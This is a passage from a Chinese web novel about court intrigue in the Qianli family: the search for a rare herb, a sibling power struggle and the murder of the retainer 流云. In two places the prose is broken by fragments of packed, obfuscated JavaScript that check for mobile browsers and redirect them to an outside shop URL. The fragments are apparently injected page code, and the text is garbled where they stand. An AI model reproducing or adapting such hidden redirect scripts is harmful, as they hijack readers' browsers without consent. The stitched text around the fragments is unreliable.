原著中这个寒芝是千里逢主动给玉雪倾的,根本没有过多描述,如今若贸然去偷定会打草惊蛇,况且千里逢也不是那么好对付的。寒芝既是宝物他自然会藏起来,如今想取寒芝必得“引蛇出洞”才行。 罗凛见千里撼焦头烂额,收起双剑,走到其跟前问道:“郡主怎么了?” 千里撼摇摇头没出声,正在思索对策中。 “是因为药引吗?” 千里撼抬眼看了下他道:“你的消息何时这么灵通了。” “是燕儿姐姐告诉我的。” 千里撼再度陷入沉默,神色冷淡,眼神盯在一处不动,像中了定身术。 罗凛顿了顿,道:“我可以去北疆,我记得一点路。” “你去北疆做什么?” “采寒芝。” 千里撼如梦初醒,目光落在罗凛身上,心中说不出的滋味儿。她抓过罗凛局促的手,将其拉过坐在身侧,道:“谢谢,你能有这颗心就够了。” “不是只有心,我可以现在就去。” 千里撼笑了一下,靠在罗凛宽厚的身躯,心绪飘摇,“你当然可以去,但我不让你去。” 罗凛不明白,问道:“为什么?” “你之后会懂。” 满腹的疑惑涌上嗓子眼儿,他想问的太多,而千里撼什么都不肯跟他说。 以后以后,以后到底有多久? 罗凛挣扎许久,终于忍不住,刚要开口却发现千里撼竟轻轻靠在他身旁睡着了,眉头微蹙,呼吸平稳,像是完全信了他。 这份挣扎终究烟消云散,罗凛面对她再度败下阵来,粗糙的手指蠢蠢欲动,隔着虚无将千里撼的眉眼描摹了一遍又一遍,最后也只敢悄悄地放在她双眉之间抚平那道崎岖。 千里撼生的好,只是平素里不苟言笑又实在散漫,大多时候图个方便不爱打扮自己,纵然如此依旧难掩冠玉仙姿。 罗凛第一次见她就觉得好看,当初他被困珍马行不见天日,形形色色那么多人,只有千里撼,隔着铁笼老远他却一眼望见,列松如翠,冷艳独绝。以至于后头被买下时竟生出一丝侥幸,违背了警惕的本能。 他不忍打扰千里撼这片刻闲暇,只是心中难耐,褐色的眸子来回转动,悄悄勾起她一缕发丝在指尖缠绕。 正午阳光偏斜进来打在二人身上,暖洋洋的,罗凛难得放下满腹思绪,只看着眼前人一呼一吸,空荡荡的心竟生出些别样的东西来。 他闭上双目,感受心跳,片刻后缓缓睁开,眸色渐深,眼中多了些眷恋。 兰溪轩内,千里逢靠在窗前将信鸽放飞,他许久不见太阳,下意识抬手遮了遮,耳边的金色坠子借着这段光肆无忌惮地晃来晃去,好不招摇。 三皇子蛰伏许久,如今得以还朝自然不甘屈居人下,他远在边关,虽有兵力支撑却少朝臣联络,如今地大魏早已不复从前,各方势力盘根错节,他若是个能成事的,必然明白自己这封信是什么意思。 正是野草疯长之际,哪怕兰溪轩也不能例外,千里逢揪下窗边攀爬而上的牵牛,轻轻一拽,连根拔起,利落丢进炭盆,如此方能斩草除根。 “嘶。” 一不留意,枝叶嵌进指尖,留下一道红痕,像垂死挣扎的报复。 “为什么就不能乖乖去死呢。” 他无奈的看着那棵化为灰烬的牵牛,将手指含进口中,舌尖翻滚,淡淡铁锈味蔓延开来。 “真是没一件事顺心啊……” 果不其然,千里逢在夜里突然被人从后头蒙住脑袋,五花大绑“请”到了金肴楼。 一行人将他放下便悄悄出去,千里逢听屋内人尽退却,不紧不慢道:“君既有意与我相见,何故不肯示人呢?” “呵呵。”那人冷笑一声,又为自己斟了杯酒,漫不经心道:“明暗一线间,你来投诚,几分真假暂且不论。我只好奇一点,你凭什么觉得自己配跟我谈合作。” 千里逢泰然自若,答道:“名为合作,实乃赌博,我既来此,死生不论。将军有胆魄却乏谋略,仰观大魏天下,唯我千里一家长明,以此作注,可堪心诚?” 话音未落,利刃破空之声便在千里逢耳边响起,颈侧的冰凉更进一步提醒他接下来一个字都不能说错。 “以千里家做注?我看未必吧,据我所知千里家下任家主乃千里撼。你,不过一卒而已。” 千里逢:“兵卒过河未尝不可纵横千里,千里撼可以是‘准’家主,我又有何不可?左右她逃不过一个‘准’字,只要千里冰封不死,这家主之位,谁都别想要。” “所以?” “我需将军助我夺家主之位,事成之后我必举全族之力回报将军。这天下,女人坐的差不多了,我认为,该换一换了。” “真狠心啊,千里撼可是你的亲姐姐。” “千里冰封也是我的亲姥姥,她既不帮我就别怪我。至于千里撼,无毒不丈夫。” “哈哈哈哈哈哈!” “唰!”千里逢头上麻袋顷刻碎裂两半,腕上绳结也一同脱落,他本能眯了眯眼躲避强光,片刻后睁开眼睛终于得见“庐山真面目”。 白圣孺与回京那日不同,一改往日威风,着一袭金色羽衫,墨发高束,被银狐雪貂披风,颇有些温润公子的味道。 且……那张脸实在有些过分水灵了。 千里逢咳了咳,默默将目光从那张脸上挪走。幼时,千里逢一家进宫为先皇贺寿,彼时白圣孺也不大,两人仅一面之缘,真不知道白圣孺远在边关,顶着这张脸是怎么打仗的。 “一个人的野心往往是他最在意的东西,你有野心,这很好。有了野心也就有了弱点,这样本王才敢用。”白圣孺将剑收起道。 “现在来谈谈正事吧。” 千里撼当即会意,道:“将军远在边关,朝廷动向知之甚少,近些年来邵雍公主广结党羽,拉拢朝臣几乎快要一手遮天,然陛下始终未有立储之意,转而打压各个氏族,直至陈氏覆灭,四家动荡。如今陛下年事已高,隐隐有立储之意,邵雍公主又如日中天,靠着朝中影响,想必储君之位,唾手可得。” 白圣孺听着他这番话陷入沉思,此番回京,朝堂之上种种事务皆由白帝媐处置,看似孝心感天,实则暗地分权,就连朝中大臣也习以为常。 母皇子嗣凋零,众多姐妹兄弟里渐渐分成两派,一派是白帝媐,一派是他,可在此之外还有宗室之子窥探,若能拉拢,必是一股助力。白圣孺默默抬眼看向千里逢,“你有什么好方法?” “如今陈氏已死,明眼人都瞧得出下一个是玉家,然其手握兵权不好分裂,若此时能有人能帮陛下一把,可谓雪中送炭啊,”千里逢趁热打铁,“只不过玉家根基深厚,比起分裂不如吞并,若将军有意,与玉家联合未尝不可。” “怎么吞?” 千里逢收敛神色,眼神晦暗,似有一分纠结却转瞬即逝,道:“玉家有个女儿,名叫玉雪倾。” 慎终馆外,一声狼嚎贸然响起,唤醒院中犬吠。罗凛闻声默默睁眼,悄无声息地离开,走向黑夜。 二十里外地百鸟山头,一个佝偻着背的怪人拄着拐杖,身后跟随数十匹雪狼,齐齐发出嚎叫。 “你叫我来做什么。” 罗凛突然出现在狼群身后,似鬼魅般,悄无声息,狭长的眼眶中,那对明月般地瞳孔此刻变得窄长,隐隐发出蓝光。 “老身拜见少主!”怪人手腕一动,拐杖便稳稳插入地底,立在身侧。他艰难的单膝跪地,右手穿过长发,中指按在左耳耳垂,端端正正地行了个大礼。 狼群见到罗凛,齐齐后退半步,俯身垂头,以表臣服。 “我不是你们的少主。”罗凛并无动作,冷冷回绝。 怪人闻言扶着拐杖缓缓起身,声音诡异嘶哑,道:“若你不是我们的少主,狼群又怎会认得你?被天狼星照耀过的孩子,流淌着斛瑟罗一族的血,受到祝福的蓝色眼睛,即便套上魏人的皮囊也无法掩藏,你终究要回到草原成为新王。” “好孩子,”怪人拄着拐,缓缓靠近罗凛,露出同他一样的蓝色双眸,似蛊惑般,“你只是忘了,忘记在北疆的一切。你是我们的少主,是天狼星的守护者,我们将你遗失了太久,如今该回家了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292896|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说了,我不认识你!”罗凛极力的抗拒,可面对那双眼睛,熟悉的感觉再次找上了他。 像被投入烈火炙烤般,清楚的灼烧感遍布全身,似要为罗凛脱胎换骨,然而头脑却异常清醒。他再也稳不住,向后倒去,靠在大树上,再怎么运功平复也是无用。 怪人见此满意的笑了,欣赏着他的痛苦,片刻后,慢悠悠地将手放在罗凛的心脏处。 “接受吧,不要再反抗,你所在的地狱就是最好的证明。若你不是狼的孩子,又怎么能听得懂狼的召唤?” 罗凛想要抵抗却无能为力,直到怪人的手掌贴在他心口,顿时,一抹蓝色钻入了他的身体,从心脏处发散,像无数道清泉沿着河渠漫入他地身躯,涌向四肢百骸。 灼烧感烟消云散,取而代之的是一具无比轻盈的身体,这种感觉在之前也发生过。 从公主府回来那晚,他本在房中疗伤,然而一声狼嚎响起,他顿时失了神,如提线木偶般,不顾一切的来到百鸟山,见到了这个怪人。 那是他们第一次见面。 怪人说自己叫斛律安吉,是北疆的萨满,跟随大王斛瑟罗穆刃征战一生从无败绩,却在暮年遭人暗算,篡权夺位。大王斛瑟罗穆刃身中剧毒拼死抵抗,才将察干夫人和少主护送出来,托孤于他。 他们四处逃窜,不想竟遇到叛军,夫人为引开叛军穿上了少主的衣裳,带队向西逃去,从此再无下落。后来少主长大,一心为父母报仇,然而当她们逃到大魏边境时却被叛军发现,叛军来势汹汹,冲散了队伍,他和少主因此失散。 而罗凛,就是那个少主。 起先罗凛并不相信,直到那股困扰他许久的灼烧感袭来,怪人告诉他这就是天狼血脉,是狼神的祝福亦是诅咒,祂地孩子不能离开草原太久,否则会遭到反噬。 罗凛难以接受这一切,逃命似的跑了,最终筋疲力尽,倒在雪地里。 痛苦烟消云散,轻盈的身躯涌入无限的力量,罗凛猛地起身反手一拳砸向安吉,“浑蛋!你敢控制我!” 斛律安吉被打的连连后退,反应过来猛地跪下臣服,“老朽只是想让少主意识到自己的血脉,和责任!” “说的什么狗屁!我不会跟你们走,别再来烦我!” “少主不愿走,是因为还有牵挂吗?”斛律安吉吊着嗓子,声音似破空地箭矢,钉在罗凛心头。 他缓缓起身,捏住罗凛的衣角嗅了嗅,“这是贵族的衣裳,少主是被贵族收养了对吗?” “与你无关。” “能让人依赖的无非是那么几种,金钱、权力、名誉、爱情,”他看向罗凛,露出一抹笑容,游刃有余,“那么,牵绊住少主的究竟是哪一种呢?” 罗凛紧咬牙关,不想再同他耗下去,转身欲走。 “等等!” 斛律安吉叫住他,“少主今夜来此并非与老朽叙旧的吧,说吧,我会满足你。” 果然瞒不过他,罗凛直截了当,道:“我要寒芝。” “就为这个?” “对。” “哈哈哈哈哈,”斛律突然笑了起来,随后猛的靠近罗凛,“要多少有多少,不过少主也要答应我个条件。” 罗凛有些犹豫,斛律安吉看出了他的心思,安抚道:“放心,不会难为你。” “……什么条件?” “让我来帮你找回记忆。” 找回记忆,这四个字听起来太有诱惑力,仿佛这不是一场交易,而是属于他的一场双赢。可真有这么很简单吗,罗凛有些忐忑。 斛律安吉:“如何?” 罗凛陷入沉思,全世界只剩下他自己,作为一个没有过去的人这无疑是件好事,可心脏却莫名爬满了恐惧,仿佛在割裂什么。 他喜欢现在的生活,甚至规划好了未来,只要和郡主在一起无论身在何处都好。可斛律安吉的到来却像一道闪电,明晃晃的照亮了他与郡主间的沟壑,仿佛他们之间隔着的不只是“姑爷”,还有“过去”。 斛律安吉:“寒芝一年只生二十一天,如今采摘已是晚了。再晚,则药效大打折扣……” “我答应你。” “什么?” 罗凛认真的看向斛律安吉,一字一句道:“我说我答应你,但明天我就要见到寒芝。如果寒芝没到,我就杀了你。” “一言为定!”斛律安吉顿时兴奋起来,掌心冒出一道蓝色光芒,强行将罗凛左手拉起来与其击掌,“击掌为誓,如若反悔,必遭反噬!” 罗凛挣扎着挥开了手,不再理会他,没入黑暗逃跑了。 望着那道匆忙的背影,斛律安吉将摸过罗凛的那只手轻轻放到指尖嗅闻,深吸一口气,“哈,女人的味道。” 27. 血雨腥风 七 千里撼凭记忆绘出兰溪轩各处地图,唯有几处密室实在叫不准,只得将图纸交给多名杀手前去兰溪轩查探,结果一无所获。 真是如芒在背。 都怪钱双双给千里逢挂的这个龙傲天光环,所有npc角色一见他直接无脑臣服,具体表现为单人靠嘴炮“净化”杀手。 所以,明抢必输,暗算完蛋。千里撼揉了揉头发,感觉自己要被逼死了。 七日之期只余两日,她却连寒芝所在都没摸清,何谈盗取。国公府上下无一人来慎终馆探问,她们将所有希望寄托于千里撼,殊不知信任同样会压垮人。 还有什么办法? 千里撼漫步于中庭,毫无头绪,碎雪打在面上浑然不觉。良久,她想到一个人。 流云被吊着一口气,顽强撑到了今天。该说不愧是楚菡萏之子么,竟然能将活人祸害成这样。 “你怎么还不死?”千里撼凑近看着流云问道。 “……我凭什么要死。” “不痛吗?” 流云闭眼不答。 “你已经没用了,千里逢不会来救一颗弃子。” “我知道。” “那为什么不死?” “不想死。” “哈哈哈哈哈哈!”千里撼突然笑起来,像是听到什么罕见的笑话。 “怕死还来当死士?” “……我不怕死。” 千里撼:“那你为什么说不想死。” 流云终于舍得睁开眼睛:“不想死就是不想死,没有原因。无论任务失败,成为弃子,还是无人在意,这些都不值得我死。只要你们一天不杀我,我就能多活一天。” “真是滑天下之大稽。这么想活,那日在公主府又为何咬破毒药?” “因为那是任务。” “哦?所以你意思是,任务失败了,你就不必死了,对么?”千里撼问道。 “对。在公子那里我已经是个死人,在你这里我同样无用,只要有一线生机,逃出去,我就能重获新生。” 千里撼调侃道:“改头换面,重新做人?” 流云不语。 “你猜一猜,我来找你做什么。”千里撼笑了下,从身后掏出一颗药丸。 “无非是来杀我地。” “错,我是来帮你的,”她将药丸捻在指尖把玩,漫不经心道,“你想活,这很好。我当然可以放了你,毕竟你已经没有价值了。但在此之前我想和你打个赌。” “打什么赌?”流云微微蹙眉,看向千里撼,眼底隐隐有了希望。 “你叫流云,想必做事干净利落。我想赌一个‘快’字,”她将那颗红色药丸送到流云眼前,“这是毒药杜鹃,会在三个时辰后毒发,我要你在这期间杀了千里逢。若你能做到,我给你解药。” “三个时辰?” “很长了,”千里撼露出一抹微笑,压低声音对流云道:“我知道对你来说足够了,戚风校尉。” 流云似被雷劈般猛的看向千里撼,诧异道:“你怎么——” “我怎么知道,”千里撼靠近流云耳侧轻声道:“我知道地可多着呢。” 她直起身体,在屋内缓慢踱步,像在游园,全然不顾流云尖锐的目光,自顾自道:“我知道千里逢与陈尚书私交甚密,也知道他暗中联合闻家老头儿给我使绊子,更知道打从我回到相府他便三番四次地想杀了我。然而在此之前,明枪暗箭,断肠毒药,加起来怎么也有几十回了吧。” “这个急功近利的家伙,盯着家主之位,不仅要杀我,连姥姥也不放过,简直丧尽天良。好在我早有准备,闻老头儿迷途知返已然转来投奔我,至于陈尚书,她是个明白人,比起千里逢,显然我的话在朝中更管用些。” 千里撼说着,低低地笑起来,猛的扳过流云下巴,怒目圆瞪,像头蛰伏许久的老虎,“我知道的这些,你说千里逢知道吗?” 流云望着那双眼睛,感到阵阵心悸,在千里撼玩世不恭的外表下貌似藏着某种“癫狂”,他仿佛看到了另一个人——千里逢。 姐弟二人终究是一奶同胞的血亲,她们都有张碧玉似的皮囊裹在身上,令人呼喊着迷,可一旦秩序崩塌,皮囊碎裂,在其之下那蠢蠢欲动的“不可言说之物”将被释放,不惜一切地搅动风云。 越流血,越兴奋,越哀号,越饱足。疯狂是她们附着于骨血之上的守护神,比起息事宁人,她们理所当然更爱颠覆一切。 千里家都是疯子! 流云挣扎着想要别过头去,却被千里撼死死按住脑袋,“他以为他能联合三皇子下一手好棋,想弄死我上位!可他错了!三皇子盘踞边关多年,身旁门客无数,凭什么信他一个小小的校书郎?别忘了,大魏可是有宗室继位的先例,白圣孺那样的多疑的人,面对千里逢这个宗室子真能放心用吗?我看未必吧。” “流云,你想活,我也想活,没人想死。如今想杀你的人没了,但想杀我的人却越来越多,朝廷上下有多少双眼睛盯着千里家你知道吗?我日日谋划,每走一步都像踩在冰面上,时不时却还要防备自己的胞弟!呵呵!玉家、吕家、闻家、刘家,旧臣新贵里没一个好东西!她们都是披着人皮地狼,看似温良实则狠毒,若我千里撼一朝倒台,就凭他千里逢那点阴谋诡计,真能撑得住这偌大的相府吗?” “对了,”千里撼赤红着眼睛,温柔地为流云将碎发拨到耳后,贴近他道,“你猜三皇子在找千里逢之前,有没有找过我呢?” 流云大气都不敢喘,千里撼疯了,口不择言,这些话但凡往外头流出一句千里家就毁了!他默默往后缩了缩,想躲避神志不清的千里撼,却猛地被人掰开下颚送进一颗药丸。 “躲什么,我会吃了你吗?”千里撼居高临下,满意的抚摸着流云的头顶,像对待小狗一般。 “时间差不多了,”千里撼手起刀落,束缚着流云的绳子散落一地,看着重获自由的流云饶有兴趣道,“赌注开始,戚风校尉。” 日至正午,再过一刻便是杀气最重地时候。千里撼眯眼瞧了下太阳,嘲弄的哼了声便从那间屋子走了出去。 流云一刻不敢耽误,绕过守卫来到后门,两指撬开一块红砖,一柄金色钥匙藏在里头。他目的明确,拿到钥匙便快速离开,从始至终未引得一人注意。 祥慈堂桂花落了满地,大片大片的金黄砸在地上,千里冰封靠在躺椅上拿着本棋谱研读,连千里撼站在身侧也未发觉。 “姥姥看什么这么入神?” “琼琳来啦。”千里冰封撂下棋谱叹气道,“方才撂下《太白阴经》拿起这本棋谱,本想研究一番,却发现一窍不通。” “原来如此,”千里撼打开棋盒取出黑白子,稳稳当当地往棋盘上摆出个“三连星”,“比起看谱,实战更能明白其中深意。” 千里冰封敏锐的捕捉到了她眼下的乌青,顿了顿,起身坐正,掏出白子在黑子周围挂角。 “今日如何得闲来同我练棋?” 千里撼:“忙里偷闲罢了,姥姥不要我陪?” “少贫了,这几日没好好歇息吧。说说,因何困扰?” “果然瞒不过姥姥,”千里撼落下一子,截断白子,得外势,“只是在想,穷途末路时该怎么走。” “人活着就没有穷途末路,大不了破釜沉舟。” 千里撼:“可惜还不到时候,只是弹尽粮绝,束手无策。” 白棋点角,获实地,“无即是有。诳也,非诳也,实其所诳也。世间之事多生变,两军对垒,阴阳难衡,外刚则内柔。” “姥姥地意思是?” “无中生有。” 临江傍水,画舫游船,觥筹交错间一道黑影迅速穿过,只为引得千里逢侧目。 不多时,千里逢不慌不忙,似提前约好般站在岸边从容道:“阁下引我来此,却不露面,是何道理?” 枯木身后,流云隐匿于此,刀柄硌的掌心生疼,千里逢孤身前来,没有比现在更好的机会。天色将晚,他没有多少时间了。 看错了吗?千里逢皱了下眉,环顾四周,不愿放过任何机会。 江上水汽滚滚,舫间热闹非常,正当千里逢松懈之际一把冷刃突然现身横其颈上,“好久不见,公子可还记得我?” “……流云?” “哼哼,哈哈哈哈,”流云一愣,发出一声低笑,神情狰狞,比哭还难看,“想不到我这无名死士竟还有被记住的一天。” 千里逢瞥了眼颈侧微微颤抖的利刃,“记住一个人并不难,流云,我没想到你还活着。” “怎么?我不死,你很失望?” “不,恰恰相反,”千里逢握住刀柄将其贴近自己,转身同流云对视,“千里撼还活着就证明任务失败了,我理所当然的以为你死了。可如今看到你还活着我竟有些莫名的轻松,你是个能人,我素来惜才,当初在珍马行一眼便看中了你。” 流云冷冷盯着千里逢,从牙缝挤出几个字,“……你究竟想说什么。” “我想说,你的任务结束了。就当流云已死,我想给你自由。”说着,千里逢掏出块价值连城的玉佩,亲自挂到流云腰上,像慈爱的母亲般对他瞧了又瞧,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292897|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真好看。我以为你死了,死的委屈,为此彻夜难眠,如今见你安好便放心了。这块玉佩足够你改头换面衣食无忧的过好后半辈子,就当是赔罪吧。” “你没什么好要对我赔罪。”流云手腕一抖,愣愣地看着那块玉佩心里不是滋味儿。 “生死乃世间头等大事,我险些害死你,如何不该赔罪?”千里逢自嘲的笑了下,呼出一口凉气,看向江面,“我们这些世家子,从小就泡在尔虞我诈里,‘朋友’二字显然奢侈。我幼时娘亲曾有位部下带孩子来相府游玩,那天就和现在一样,凉飕飕的,但太阳又很大,照的人特别暖。” 流云听着,默默咬紧牙关。 “那位部下有个儿子,聪明机灵,爬树飞快。我叫他小哥哥,他陪我从天亮玩到天黑,还约定下次再见就教我爬树,”千里逢回忆往昔,看向远处热闹的画舫像被隔绝在外,“少时不懂人生多歧路,只当约定了就会兑现,殊不知光阴不等人。本以为终此一生都无法兑现承诺,直到在珍马行遇见,我一眼便看清了他的脸。” “咔哒!” 短刀落地,过往旧事重现,正如千里逢所说,人生多歧路。家道中落,改名换姓,颠沛半生,本以为人间再无牵挂,却不想老友重逢。 流云捂住双目,跟跄几步,想要逃离。一只大手拽住了他,厚实温暖,千里逢面带微笑,一如当年那个无知孩童,道:“戚风哥,你还记得我对吗?” 千里逢干净地眼眸见不到一丝恶意,像初生的稚童,天真的残忍。他一尘不染,端坐在高处,仿佛从没变过,可戚风呢? 戚风早就死了,流云也死了,那他是谁?他还能是谁? 流云跪倒在地,双手掩面,止不住的颤抖,他甚至无法面对曾经的自己。 “公子,忘了我吧。” “戚风哥你在说什么?” “……是郡主,郡主派我来的。她喂我毒药叫我杀你,可我做不到。” “什么!”千里逢猛的跪下,拽住流云的衣襟不可置信,“你吃了毒药!什么毒,告诉我,我去给你找解药!告诉我!” “算了吧,”流云扯出个惨淡的笑,望向千里逢道,“我早就该死了。之所以答应她只是为了最后见你一面,铎远,小心刘家。” “什么?”千里逢一愣,双眼直直望向他,“你这话是什么意思?” “小心那些新贵。闻家,刘家都不可靠!三皇子多疑,你与他合作无异于与虎谋皮,他靠不住的!” 千里逢:“你在说什么?戚风哥,你是不是从姐姐那里听到什么了?” “只有这些了,”流云摇了摇头道,“那些曾经与你合作的人转头便能倒戈,都不可信,三皇子并非只见了你一人,在此之前他还见过郡主。” “竟然……这样吗?”千里逢神色僵硬,愣在原地喃喃道。 见千里逢这副模样,流云仿佛看到了从前地自己,也是这般迷茫,众叛亲离,只是如今他也帮不上什么忙了。残阳半斜,流云望向天空,吐出一口浊气,他的死期就要到了。 不过在此之前,他想给自己找个鸟语花香的地方,这样就算死了也能少些怨念。 流云最后看了眼千里逢,像在告别,神色淡然,转身离开。 一只燕子低空飞过,黑色的翅膀扑棱几下,掠过柳枝冲向天空。 流云痴迷的抬起头,自言自语道:“燕子回时,绿水人家绕。” “噗呲!” 寒光一闪而过,短刀不知何时被人拾起,死死钉在流云后心。 “唰!” 刀身猛的抽出,甩出一条血线散落在地。流云眼神僵直,双目圆瞪,不可置信的张了张嘴,随即轰然倒地,伤口处泊泊流血,淌到地上积出一个小坑。 “花褪残红青杏小。燕子飞时,绿水人家绕。戚风哥,你还是和以前一样,不爱读书。” 在其身后,那把被丢在地上的短刀被千里逢死死攥住,曾经温暖的手掌布满鲜血。他甩了甩手,随意将血迹擦在衣襟上,眼神从始至终没有丝毫变化,耳铛随其动作俏皮地一摇一晃,仿佛发生了件再平常不过的事。 流云彻底没了气息,两眼死死瞪着,不愿合上。见此,千里逢嗤笑一声,俯身解释道:“其实我不必杀你,但你知道得太多,我又实在放不下心。不过你吃了千里撼那个疯妇的毒药,应该命不久矣,与其要在毒发时忍受痛苦倒不如叫我现在了结了,所以我是在帮你。哎呦!那这么算下来你还是千里撼杀的,到了地底可要记得去索她的命啊!” 说罢,他轻轻为流云合上双目,像做了件善事。 28. 血雨腥风 八 “上兵伐谋。所谓用兵之道,攻心为上。” “疑者多生变。化无为有,以虚作实。真真假假之间,虚虚实实之变,阴阳而已。” 白子落下,黑棋气断,满盘皆输。 “看来这局是我赢了啊。”千里冰封道。 千里撼擎着手腕,捻一颗黑子沉思良久,她盯着千里冰封那颗白子回忆每一步,发觉自己竟被一叶障目。 “呵,”千里撼无奈轻笑,终于舍得将棋子丢进棋盒,“是啊,恭喜姥姥。” 千里冰封看向千里撼眉心,抬手为其抚平那道褶皱,“悠悠天地,万事多变,一时之忧非一世之忧。尽人事,安天命。” 千里撼握住千里冰封苍老的手掌,顺势倒在了她的怀里,如孩童般伏在千里冰封膝头合上双眸。 是啊,尽人事安天命,不然她还能做些什么呢? 紧绷的神经缓缓放松下来,千里撼扬起袖子,掏出藏在里头的红色药丸塞进口中。 酸甜的滋味儿在舌尖炸开,方才她刻意让流云来不及咀嚼就咽了下去,否则定要被发现是山楂丸。 都已经这个时间了,流云还没回来,果然生死有命。她有意放过流云,也不指望他能杀了千里逢,究其根本不过是想在千里逢心中埋下一颗种子而已。 一切尽如千里撼所料,本该云淡风轻才对,可她想不通,流云为什么就不愿搏一搏,难道在所谓的情谊面前生命就那么轻吗? 轻到掉在地上连一点声响都发不出。 罢了,是她以己度人。打从一开始设下这个局她就知道流云必死,只不过不死心想赌一个可能罢了。 千里撼告别千里冰封回到慎终馆,来到与流云约定好的地点等待。院落空荡,秋水望穿,她恨铁不成钢。 人啊,为什么就不能狠一点。情深义重,往事千秋,何苦如此,何故身死? 戚风,没人会记得你。 一道黑影稳稳落在千里撼身侧,“郡主,寒芝已经找到。” “在哪儿。” “我们的人跟随流云到曲江舫,发觉二公子在其附近的一处房产,那里地下还有一间密室。” “果然狡兔三窟啊,”千里撼无奈摇了摇头笑道,“可拿到了吗。” “郡主请看。”佩儿捧着一个木匣,里头躺着一个“丑蘑菇”。 千里撼话不多说,当即前往国公府。 祥慈堂内,千里冰封手捧棋谱,心思却飘到九霄云外。 “何瑾?” “我在。”何妈妈不知何时出现在千里冰封身旁道。 “去查一查孩子们因为什么吵起来了。” “回家主,许是因为‘寒芝’。” “寒芝?” “是一味药,性大寒,据说十分难得。属下曾听仙狂那孩子说过一次,貌似可医腿疾。” 千里冰封想起千里撼憔悴模样,不自觉摸了摸膝盖,她这双腿还能走已是侥幸,何必再为其奔波。 “仅此而已吗。琼林近来可有什么难事?” “郡主与玉家暗中交好,属下听说玉家独女病了,不知虚实,想必是为此忧愁。” “玉家独女,玉雪倾?” “正是。” 方才千里撼的模样明显是话里有话,三皇子回京,储君之争再起,如今各方势力明争暗斗,千里撼夹在其中定不会好做。 只是,一个玉雪倾病重就会让千里撼这般忧愁吗? 千里冰封最是了解千里撼,她一手将其带大,传她枪法。那是个内敛孝顺的孩子,平日里疯疯癫癫,可一遇事便会沉默寡言,独自扛下一切。 千里冰封顿了顿,似是想起什么,道:“……铎远近来在做什么。” “二公子见了三皇子。” “这样啊……” 何瑾看着千里冰封平湖似的面容,欲言又止。 “其实、其实当年那碗毒粥,二公子并非完全无辜,家主理应将他与那疯夫一同清算——” “好了!”千里冰封打断何瑾,叹了口气,看向圆月。 当年也是这样的一个夜晚,疾儿一箭射穿了娄氏的胸膛,从此浑浑噩噩,没几年便撒手人寰要她白发人送黑发人。 清算铎远?她何尝没有怀疑过,可那毕竟是疾儿身上掉下来的肉,哪怕再像娄氏那个祸害也流着千里家的血。 更何况若当时清算,无异于在催疾儿的命啊。当断不断,拖延下来便没了理由再去处置。千里冰封苦笑一下,她宁愿装傻,相信铎远是无辜的,只要他能安安生生地活着。 千里冰封:“是我千里家该有此劫,不必再说了。” “是,属下僭越了。” “说什么僭越,你跟着我这么多年,没什么不能听不能看的。” 千里冰封搓了搓腿,拉过何瑾感慨道:“这些天我总是想起咱们从前在云州暮春城的时候,那里的云吞最好吃。” 何瑾笑了下,道:“是啊,那时候我们都还年轻。你狂放不羁,行事果决,战征必胜,所以目空一切。我便是被你的狂妄吸引来追随你,没想到一过就是四十几年。” 千里冰封:“战则必胜吗,我倒觉得是兵败一生。长野一战后我的腿便废了,魏军大败,连失九城,整个云州都没了。自此之后边关战乱不断,我后半辈子都被困在了轮椅上,疾儿因我遭贬,陈鸿野因替我说话被皇帝疑心,事事皆因我而起……” “家主莫要这么说,谁又能料到后头的事?疾姑娘被贬鸾城遇见娄氏,陈将军接手带兵功高盖主,桩桩件件看似因你而起,可我们都明白,一切不过是天命推人走罢了。” “是啊,天命不佑啊。”千里冰封躺在椅上,拉着何瑾的手,惨白的月光落在她脸上,像一把刀将其锯成两半。 “可我为什么偏偏就是不想遂了老天的愿呢?” 何瑾看向千里冰封,拨了拨她凌乱的发丝道:“因为你是千里冰封,傲视群雄的定西大将军。” “呵呵,”千里冰封终于笑起来,拍了拍何瑾的手,“歌谣都散布出去了吗?” “散出去了。” “那就好,”她像是想起什么般,幸灾乐祸地笑起来,“白家死守大魏,刚愎自用,却忘了千里之堤溃于蚁穴的道理。” 何瑾:“这是她们应得的。狡兔死,走狗烹,忘恩负义的家族不配坐在皇位上。” 千里冰封笑了笑,哼起那支童谣,“狡兔绒绒雪中伪,青松抖抖满地白,猎户匆匆一击毙,鹰鸟啼啼三声亡。” 千里撼快马加鞭赶到国公府,一下马便将寒芝送到闻武手中道:“快!寒芝来了,快拿去做药引。” “太好了!” 闻武大喜,当即就要去厨房,却被千里撼拉住,欲言又止道:“等等。这寒芝……若是可以,能否剩一点给姥姥,她……” “郡主放心,”闻武笑了下,安抚千里撼道:“郡主放心,寒芝作药引最多用二两,家主那边必然能照顾得到。” “如此便是皆大欢喜了。”千里撼长舒一口气,不再阻拦,催促闻武去熬药。 她径直走向玉雪倾卧房,刚巧碰上端着水盆忙前忙后的常玄,二人视线交锋,一时有些尴尬,毕竟千里撼前几日刚骂过他。 常玄同样如此,默默别过眼神为千里撼让路。 瞧这副低眉顺眼的模样应该是被玉雪倾教育过了,千里撼看穿常玄,并不打算同其讲话,微微颔首便直接进屋探望玉雪倾。 “琼林来了!” 玉雪倾一见千里撼就要起身迎接,千里撼急忙扶住她,道:“你可安生点儿吧,一切等病好了再说。” 